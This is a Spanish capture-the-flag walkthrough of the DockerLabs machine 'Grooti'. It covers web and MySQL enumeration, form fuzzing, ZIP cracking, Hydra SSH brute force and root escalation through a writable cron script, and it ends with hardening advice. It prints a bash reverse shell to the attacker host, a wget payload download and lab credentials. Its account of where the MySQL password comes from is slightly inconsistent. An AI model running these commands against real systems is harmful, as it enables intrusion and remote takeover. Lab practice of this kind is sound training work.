> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/grooti.md).

# Grooti

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux con varios servicios expuestos: SSH, HTTP y MySQL.

La cadena de explotacion pasa por enumerar una web tematica de Groot, encontrar pistas en rutas ocultas, acceder a MySQL con credenciales deducidas, descubrir un panel interno que genera un ZIP protegido, crackearlo con John y reutilizar una password para entrar por SSH. La escalada final se consigue abusando de un script escribible ejecutado periodicamente como `root`.

***

## Reconocimiento

Se comienza con un escaneo de versiones sobre la maquina objetivo:

```bash
nmap -sV -p- -T4 172.17.0.2
```

![Nmap](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-e2cb76da22db8572e45859c1691386c3f5dc9b17%2F2026-05-13-01-09-02.png?alt=media)

El escaneo muestra tres puertos abiertos:

| Puerto   | Servicio | Version                    |
| -------- | -------- | -------------------------- |
| 22/tcp   | SSH      | OpenSSH 9.6p1 Ubuntu       |
| 80/tcp   | HTTP     | Apache httpd 2.4.58 Ubuntu |
| 3306/tcp | MySQL    | MySQL 8.0.42 Ubuntu        |

***

## Enumeracion web

Al acceder al puerto `80` aparece una pagina principal de **Grooti's Web**:

```
http://172.17.0.2
```

![Web principal](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-1569e97966dbb4dd1800e3d2db98e16aa8b16ee0%2F2026-05-13-01-11-43.png?alt=media)

La pagina muestra varios enlaces:

| Enlace visible      | Ruta asociada |
| ------------------- | ------------- |
| Mis Fotos           | `/imagenes/`  |
| Mi base de datos    | `/secret/`    |
| Facturas de la nave | `/archives/`  |

En `/imagenes/README.txt` aparece una primera pista:

```
(password1) Encuentra donde ponerla ;)
```

![README con pista](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-5fceac0637f78adcb4da38534c7b3df6baf454d5%2F2026-05-13-01-12-09.png?alt=media)

Tambien se revisa `/archives/`, donde aparece una factura de la nave. En ella destaca el nombre de la nave:

```
Ship: Milano
```

![Factura](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-cf0ff3530b614ab9bae32a94f6368b2ad4163be8%2F2026-05-13-01-12-28.png?alt=media)

***

## Fuzzing de rutas

Se realiza fuerza bruta de directorios contra el servidor web:

```bash
gobuster dir -u http://172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-06373e7476e5486a24ee765f5067a9baedf89585%2F2026-05-13-01-15-51.png?alt=media)

Recursos encontrados:

| Recurso       | Codigo | Comentario         |
| ------------- | ------ | ------------------ |
| `/index.html` | 200    | Pagina principal   |
| `/archives/`  | 301    | Factura de la nave |
| `/imagenes/`  | 301    | Pista `password1`  |
| `/secret/`    | 301    | Panel con usuarios |

En `/secret/` aparece una tabla con usuarios y niveles de acceso:

![Base de datos web](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-74181148a59b4f78ec1f94e57e976bfa4f6d2e48%2F2026-05-13-01-15-37.png?alt=media)

Usuarios identificados:

| Usuario  | Acceso         | Estado |
| -------- | -------------- | ------ |
| `grooti` | Administrador  | Activo |
| `rocket` | Subcoordinador | Activo |
| `Naia`   | Total          | Activo |

***

## Acceso a MySQL

El archivo de instrucciones apunta directamente a conectarse contra MySQL con el usuario `rocket`:

```bash
mysql -u rocket -p -h 172.17.0.2 --ssl=0
```

![Instrucciones](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-2052ba5bc972816600da46ede6c76a6a7ae14902%2F2026-05-13-01-16-17.png?alt=media)

Para la password se reutiliza la pista encontrada en /imagenes/README.txt . Con esas credenciales se consigue entrar en MySQL:

![Acceso MySQL](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-ae9d5933cb5952cf629930c610b3f03bfa96d3c1%2F2026-05-13-01-16-36.png?alt=media)

Se listan las bases de datos:

```sql
SHOW DATABASES;
```

![Bases de datos](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-6371b0f6e2f5fe6c550006888997a1193829a95d%2F2026-05-13-01-17-01.png?alt=media)

Aparece una base de datos llamada `files_secret`. Se selecciona y se listan sus tablas:

```sql
USE files_secret;
SHOW TABLES;
```

![Tablas](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-cce88542d1de5c20eb0c9b815cb30bc798291b2f%2F2026-05-13-01-17-29.png?alt=media)

La tabla `rutas` contiene rutas internas interesantes:

```sql
SELECT * FROM rutas;
```

![Rutas](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-6efff12e28925e9b4add8c266634a115ebd85d04%2F2026-05-13-01-17-51.png?alt=media)

Entre ellas destaca:

```
/unprivate/secret
```

***

## Panel interno

Al visitar la ruta descubierta aparece un panel de acceso:

```
http://172.17.0.2/unprivate/secret/
```

![Panel interno](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-170058dd862a91589cd67049e33d1e665961a257%2F2026-05-13-01-18-09.png?alt=media)

El formulario envia datos a `generate.php`. Como el README indicaba `password1` y el panel pide un numero entre `1` y `100`, se fuzzearon los valores del parametro numerico:

```bash
ffuf -X POST \
  -u http://172.17.0.2/unprivate/secret/generate.php \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "content=Grooti&number=FUZZ" \
  -w nums.txt \
  -fs 6
```

![Fuzzing del formulario](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-b6dd78164f7f19ad8188345f32516e2d259f57c5%2F2026-05-13-01-26-41.png?alt=media)

El valor valido es `16`, que genera la descarga de un ZIP:

```
password16.zip
```

![ZIP descargado](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-b53dac774b1be6de6c018bab794da46f697ff6ac%2F2026-05-13-01-26-53.png?alt=media)

***

## Crackeo del ZIP

Se extrae el hash del ZIP con `zip2john`:

```bash
zip2john password16.zip > hash.txt
```

Despues se crackea con John y `rockyou.txt`:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

![Crackeo con John](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-fe56b7708432cf83a8ef8188f76a5c23fe3ddad3%2F2026-05-13-01-28-18.png?alt=media)

John encuentra la password:

| Archivo          | Password |
| ---------------- | -------- |
| `password16.zip` | `123456` |

Con esa password se descomprime el ZIP:

```bash
unzip password16.zip
```

![Unzip](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-8b076617573e56bd828661bd6ce180ceb830ba16%2F2026-05-13-01-28-34.png?alt=media)

Dentro aparece `password16.txt`, que contiene una lista de posibles passwords:

```bash
cat password16.txt
```

![Diccionario extraido](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-81db43fe15d5a4194b9e6b19fd8a4a8f8a98c362%2F2026-05-13-01-29-01.png?alt=media)

***

## Fuerza bruta SSH

Con los usuarios vistos durante la enumeracion, se prueba el diccionario contra SSH.

Primero se intenta con `naia`, pero no hay credenciales validas:

```bash
hydra -l naia -P password16.txt 172.17.0.2 ssh
```

Despues se prueba con `grooti`:

```bash
hydra -l grooti -P password16.txt 172.17.0.2 ssh
```

![Hydra SSH](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-17a70952c067e380139bdd9c330d5db9c56eb6b4%2F2026-05-13-01-30-12.png?alt=media)

Hydra encuentra credenciales validas:

| Usuario  | Password     |
| -------- | ------------ |
| `grooti` | `YoSoYgRoOt` |

Con ellas se accede por SSH:

```bash
ssh grooti@172.17.0.2
```

![SSH grooti](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-74caa66edf0871c69f64778114e34fa3e6f46c04%2F2026-05-13-01-30-30.png?alt=media)

***

## Enumeracion local

Dentro del sistema se revisan binarios SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

Tambien se comprueban privilegios sudo:

```bash
sudo -l
```

![Enumeracion local](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-70c5d63e541db0b34a1d54fb603d34d8dc6900c9%2F2026-05-13-01-32-08.png?alt=media)

El usuario `grooti` no puede ejecutar comandos con `sudo`.

Despues se buscan archivos escribibles fuera de rutas habituales:

```bash
find / -writable -type f 2>/dev/null | grep -viE "var|proc|sys|home"
```

![Archivo escribible](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-b72a1b0ebe65310fe9f8961f9118b56416a56314%2F2026-05-13-01-32-48.png?alt=media)

Aparece un archivo interesante:

```
/tmp/malicious.sh
```

El script es propiedad de `root`, pero es escribible por el usuario `grooti`:

```
-rwxrw-r-- 1 root grooti 221 Jul 22 2025 /tmp/malicious.sh
```

Al revisar su contenido se observa que genera y borra un log temporal:

```bash
cat /tmp/malicious.sh
```

![Contenido del script](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-f545147ba2c69c9c2b0eddf53993768a6d1455f6%2F2026-05-13-01-33-08.png?alt=media)

***

## Escalada a root

Para confirmar si el script se ejecuta automaticamente como otro usuario, se descarga `pspy64` en la maquina victima:

```bash
wget http://172.17.0.1:80/pspy64
chmod +x pspy64
./pspy64
```

![Descarga de pspy](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-422cc40d9574c957a13a833eb650245417d7a29d%2F2026-05-13-01-35-29.png?alt=media)

`pspy` muestra que `/tmp/malicious.sh` se ejecuta periodicamente como `root` mediante `/opt/cleanup.sh`:

![pspy](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-3fb27ce2d6d07b3b85b205de97b933f55d1cd131%2F2026-05-13-01-35-51.png?alt=media)

Como `malicious.sh` es escribible por `grooti`, se reemplaza su contenido por una reverse shell:

```bash
#!/bin/bash

bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
```

![Reverse shell en malicious.sh](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-141616ca00117657b5a38c7b37c9a79b5d478e13%2F2026-05-13-01-33-58.png?alt=media)

En la maquina atacante se prepara un listener:

```bash
nc -lvnp 4444
```

Cuando el proceso automatico vuelve a ejecutar el script, se recibe una shell como `root`:

![Root](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-f5c6fbf04756f3930c3050b31073122d2eb220cd%2F2026-05-13-01-36-30.png?alt=media)

***

## Conclusion

Grooti es una maquina muy buena para practicar enumeracion web y correlacion de pistas: una factura da una password, MySQL revela una ruta interna, un formulario genera un ZIP protegido y un diccionario termina abriendo SSH.

### Puntos clave

* MySQL estaba expuesto en el puerto `3306`.
* La web revelaba usuarios y pistas en `/imagenes/`, `/archives/` y `/secret/`.
* La password `Milano` permitio entrar a MySQL como `rocket`.
* La base de datos `files_secret` revelo la ruta `/unprivate/secret`.
* El valor `16` en el formulario genero `password16.zip`.
* John crackeo el ZIP con la password `123456`.
* El diccionario extraido contenia la password SSH de `grooti`.
* El script `/tmp/malicious.sh` era escribible y se ejecutaba como `root`.

### Recomendaciones

* No exponer MySQL a redes no confiables.
* Evitar pistas reutilizables en paginas publicas.
* No usar passwords basadas en informacion visible de la aplicacion.
* Restringir rutas internas y paneles administrativos.
* Evitar archivos escribibles por usuarios no privilegiados que sean ejecutados por `root`.
* Revisar tareas periodicas y scripts auxiliares con permisos peligrosos.
